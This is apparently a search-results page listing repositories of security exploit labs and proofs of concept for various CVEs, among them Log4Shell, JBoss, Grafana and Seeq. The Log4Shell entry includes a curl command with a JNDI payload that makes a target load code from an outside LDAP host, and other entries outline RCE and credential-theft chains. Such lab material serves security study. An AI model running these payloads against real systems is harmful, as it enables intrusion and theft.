5123 matches found
day10-nextjs-middleware-lab
Day 10 — Next.js middleware auth-bypass lab CVE-2025-29927 simulation Important: Educational lab only. Run locally in Docker. Quickstart: npm i build from repo root with files above docker build -t day10-nextjs-lab . run docker run --rm -d -p 8080:3000 --name day10 day10-nextjs-lab Open...
jboss-deserialization
JBoss Insecure Deserialization to RCE via CVE-2017-12149. JBoss Insecure Deserialization - RCE Exploitation Lab. The idea here is to setup a lab with an old JBoss version 7.0 in order to exploit the vulnerability. We can use Docker to facilitate all the process. For this, we're gonna need an Orac...
log4shell_lab
log4shell exploit lab This repository is a single-line setup for log4shell exploit lab. Setup the lab: docker-compose up -d Run exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Then go to vul container and see that indeed we pwned the machine: Video...
lab
Lab Public code artifacts from research work. Papers Implementations and supporting code for specific research papers. alife Anchor| Description ---|--- gupta2026lenia| Collision-based logic in Lenia and its composition boundary — an emergent INHIBIT gate and AND-NOT cascade from Orbium glider...
CVE-2019-15588
CVE-2019-15588 CVE-2019-15588 Lab: RCE Command Injection Vulnerability Merged into https://github.com/lyy289065406/CVE-2019-5475...
EXIM-4.87-CVE-2019-10149
EXIM-4.87-CVE-2019-10149 setup lab for educational purpose...
kali-CVE-2019-0708-lab
This repository does not have a README...
CVE-2018-7600
CVE-2018-7600 For Home Lab and Educational Purpose only not intended for any Harmful intentions purely for educational purpose...
sec-lab
SecLab · Security Lab Suite Seven testbeds, 19 containers 16...
LAB-CVE-2023-25725
This repository does not have a README...
EP4-redes
POC CVE-2018-15473 exploit Adapted from https://github.com/Rhynorater/CVE-2018-15473-Exploit To run this exploit you need to have installed: docker docker compose SSH server Let's start by pulling from DockerHub an image that has an old version 6.6 of SSH on an old Ubuntu: It may take a few minut...
day01-sessionreaper-lab
Day 1 — SessionReaper-style Vulnerable Lab Educational This is a tiny lab that simulates the core idea reported for CVE-2025-54236 “SessionReaper”: improper validation of nested JSON leading to dangerous code paths. This is not Magento/Adobe Commerce; it's a minimal educational replica to practic...
php-8.1.0-dev-exploit
php-8.1-dev-Exploit ⚠️ Important read first This repository contains a Java proof-of-concept PoC intended for CTF / lab use only. Do not run this code against systems you do not own or do not have explicit written permission to test. Unauthorized exploitation is illegal. Use only in isolated...
LabAutomationCVE-2021-43798
LabAutomationCVE-2021-43798 I make a script for pentest automation where i exploit CVE-2021-43798 a path traversal on Grafana to steal user secrets SSH key and then gain privileges on a Linux system using SUID. I automate this lab to share the pentest methodology...
lab_CVE-2025-32433
This repository does not have a README...
Seeq self-registration Data Lab Jupyter missing auth Python RCE
Unauth POST /api/users, login, spawn Data Lab Jupyter, execute Python via kernel WebSocket channels. """Seeq unauthenticated self-registration Data Lab Jupyter kernel RCE.""" from future import annotations import base64 import json import os import socket import struct import time import uuid fro...
Seeq Server — Unauthenticated Self-Registration + Data Lab Jupyter Missing Autho — Detect
Fingerprint / reachability check for Seeq Server — Unauthenticated Self-Registration + Data Lab Jupyter Missing Authorization → Arbitrary Python RCE !/usr/bin/env python3 -- coding: utf-8 -- """Detection for Seeq Server — Unauthenticated Self-Registration + Data Lab Jupyter Missing Authorization ...
CVE-2024-34312
CVE-2024-34312 Description Virtual Programming Lab for Moodle up to v4.2.3 was discovered to contain a Cross-Site Scripting XSS vulnerability via its IDE component. Additional Details The browser connects directly to a websocket running on the jail server. Through the websocket, the jail server c...